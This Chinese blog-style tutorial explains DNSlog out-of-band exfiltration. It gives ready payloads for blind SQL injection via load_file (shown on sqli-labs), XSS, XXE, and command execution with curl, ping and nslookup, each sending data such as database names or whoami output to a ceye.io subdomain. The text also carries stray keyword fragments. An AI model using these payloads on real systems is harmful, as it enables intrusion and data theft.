測試一些網站的時候,一些注入都是無回顯的,咱們能夠寫腳原本進行盲注,但有些網站會ban掉咱們的ip,這樣咱們能夠經過設置ip代理池解決,html
可是盲注每每效率很低,因此產生了DNSlog注入。具體原理以下。mysql
首先須要有一個能夠配置的域名,好比:ceye.io,而後經過代理商設置域名 ceye.io 的 nameserver 爲本身的服務器 A,而後再服務器 A 上配置好 DNS Server,這樣以來全部 ceye.io 及其子域名的查詢都會到 服務器 A 上,這時就可以實時地監控域名查詢請求了,圖示以下。sql
DNS在解析的時候會留下日誌,我們這個就是讀取多級域名的解析日誌,來獲取信息
簡單來講就是把信息放在高級域名中,傳遞到本身這,而後讀取日誌,獲取信息。數據庫
這樣說原理很抽象,下面經過實際例子看下。後端
http://ceye.io 這是一個免費的記錄dnslog的平臺,咱們註冊後到控制面板會給你一個二級域名:xxx.ceye.io,當咱們把注入信息放到三級域名那裏,後臺的日誌會記錄下來瀏覽器
0x01SQL盲注bash
就以sql盲注爲例。深刻理解下DNSlog注入過程:服務器
經過DNSlog盲注須要用的load_file()函數,因此通常得是root權限。show variables like '%secure%';查看load_file()能夠讀取的磁盤。curl
一、當secure_file_priv爲空,就能夠讀取磁盤的目錄。xss
二、當secure_file_priv爲G:\,就能夠讀取G盤的文件。
三、當secure_file_priv爲null,load_file就不能加載文件。
經過設置my.ini來配置。secure_file_priv=""就是能夠load_flie任意磁盤的文件。
在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句
查看平臺,dnsLog被記錄下來。
load_file()函數能夠經過dns解析請求。
以sql-labs第五關:
payload:' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)-- -+
執行的sql語句:SELECT * FROM users WHERE id='1' and if((select load_file(concat('\\\\',(select database()),'.xxxxx.ceye.io\\abc'))),1,0)
查看dnslog日誌,發現security數據庫被查詢出來:
0x02 XSS(無回顯)
經過盲打,讓觸發者瀏覽器訪問預設至的連接地址,若是盲打成功,會在平臺上收到以下的連接訪問記錄:
payload:><img src=http://xss.xxxx.ceye.io/aaa>讓src請求咱們的dnslog平臺
0x03 SSRF(無回顯)
payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ip.port.b182oj.ceye.io/xxe_test"> %remote;]> <root/>
0x04命令執行(無回顯)
當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在後端獲取到 DNS 的查詢請求,當命令真正被執行且平臺收到回顯時就能說明漏洞確實存在。
*nix
curl http://haha.xxx.ceye.io/`whoami` ping `whoami`.xxxx.ceye.io
Windows
ping %USERNAME%.xxx.ceye.io
也能夠經過base64加密傳送數據,平臺拿到的數據進行base64解密獲得命令回顯。
cmd /v /c "whoami > temp && certutil -encode temp temp2 && findstr /L /V "CERTIFICATE" temp2 > temp3 && set /p MYVAR=< temp3 && set FINAL=!MYVAR!.xxx.ceye.io && nslookup !FINAL!"
del temp*
其餘的在這個平臺上有一些payload。
參考連接:
http://foreversong.cn/archives/861
https://bbs.ichunqiu.com/thread-22002-1-1.html
http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/